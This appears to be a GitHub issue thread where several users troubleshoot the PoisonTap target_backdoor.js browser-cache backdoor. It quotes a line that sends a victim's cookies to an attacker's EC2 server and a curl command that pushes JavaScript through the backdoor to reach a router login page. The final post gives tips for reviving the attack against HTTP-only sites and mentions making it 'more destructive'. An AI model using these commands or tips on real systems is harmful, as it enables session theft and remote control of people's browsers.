target_backdoor.js

[Benjamin James Broadstone]

Is this file supposed to be updated to reflect my publicly accessible domain with the correct port i.e.

new Image().src='http://ec2-15-185-131-5.us-east-2.compute.amazonaws.com:1337/poisontap/log.php?log='+document.cookies;

Also, should this file be changed to look like the above on the device's "target_backdoor.js" or the server's "target_backdoor.js" or both?

I can get cookies logged onto the device itself. This cookie log is found on the device itself, but it is never created on the server, is that the intention?

If you could explain the mechanism of action behind "target_backdoor.js" a bit I would really appreciate it.

I have found that the attack works as expected, and I can see the cached urls in Chrome, but when I try to execute

curl 'http:///ec2-15-185-131-5.us-east-2.compute.amazonaws.com:1337/exec?$.get("http://192.168.0.1.ip.samy.pl/login",function(d)\{console.log(d)\})'

for example, the console output on dev tools complains of CORS, as it redirects to the https version and never hits the cached url even when I explicitly use the string of a cahced "/PoisonTap" url. Here is an example console output when I execute the above:

Failed to load http://192.168.0.1.ip.samy.pl/login: Redirect from 'http://192.168.0.1.ip.samy.pl/login' to 'http://buckeye-lab.smartrg.com/prime-home/control-panel/login?device=1CABC0:1CABC09732D0' has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource. Origin 'http://192.168.1.1.ip.samy.pl' is therefore not allowed access.

If you can help clarify these two points I would really appreciate it.

Also, the cached pages i.e. "http://www.nfl.com/PoisonTap" when inspected with dev tools, do not seem to show the backdoor code, just 404 html pages for the url from nfl.com.

It seems "http://www.gstatic.com/generate_204" spawns and that is what makes the web socket connection. When I refresh that page, all connections to the server are closed, and I am unable to get a new connection without plugging the device in, waiting a few minutes, then unplugging, sometimes that does not even work, and I have to clear my browsing data, then plug in for a few minutes and then unplug.

Thanks in advance for your help.

[executionByFork]

I also have been having no luck getting the backdoor websocket to send a client hello message to my server. @MR-D05 were you able to figure anything out?

Using console.log() I can see in the dev tools console that all of the files are executing when poisontap is plugged in and poisoning the cache, but the cached files never seem to run on any of the sites I visit after unplugging the device. The fact that http routes aren't being loaded would make sense, but I thought that a CORS statement was prepended to all cached file to allow for cross origin requests. Wouldn't this allow loading the cached http files?
Additionally, I can see that nfl.com is loading files over http, yet the poisontap files never get loaded...

I don't fully understand the mechanism that prepends the backdoor code to the cached files, could someone point me towards the code that does this? I can see the addScript, addimg, and addIframe functions, but I don't see any concatenation happening to the files from the js folder. Is the backdoor even loaded onto the cached files?

Out of all the videos and demonstrations I can find on poisontap, none of them show off the backdoor websocket, all of them just open the cookie file on the pi.

[itsecstudy]

Not sure if you ever found an answer to this? I am testing this for a project. Yes I can run the backdoor.html manually and my web socket connects but also cannot see the backdoor html injected into the poisoned cache files.

[executionByFork]

I don't believe I did, unfortunately. This was just something I was playing around with in my free time though, I didn't spend a ton of time on it. One thing I never got to do was check some of the other popular forks of this project. Often people will fork and fix things in their own versions, maybe taking a look at some of the commits from other repos will point you in the right direction. It's been a while since I was messing with this so I don't remember exactly what I found, but from what I'm reading in my comment above and remembering is that the shell was never connecting. Its pretty common for security researchers to purposely break a piece of their exploit when they release it to the public so skids can't just plug and play. I think that may be the case here, the cookie file is enough to show exploitation is possible, the backdoor functionality may have been broken to prevent easy abuse.

[itsecstudy]

Thanks for the response. I was able to get this working now and can see the backdoor open the web socket make a connection to my backend server. Some critical points are that most of the sites that poisontap uses are no longer vulnerable as now use https. I searched for a list of sites that still use HTTP and replaced the Alexa list with the http list, below the Doms() function, this returned much better results. I used Wireshark and a forensic analysis tool to search and ensure the cache was poisoned and step through what was happening, learned some good lessons and gained some knowledge in Java Script vulnerabilities and attacks. Currently looking at making the PoisonTap device a little more destructive. This is a good project and shows that even 4 years on can still be a relevant physical attack.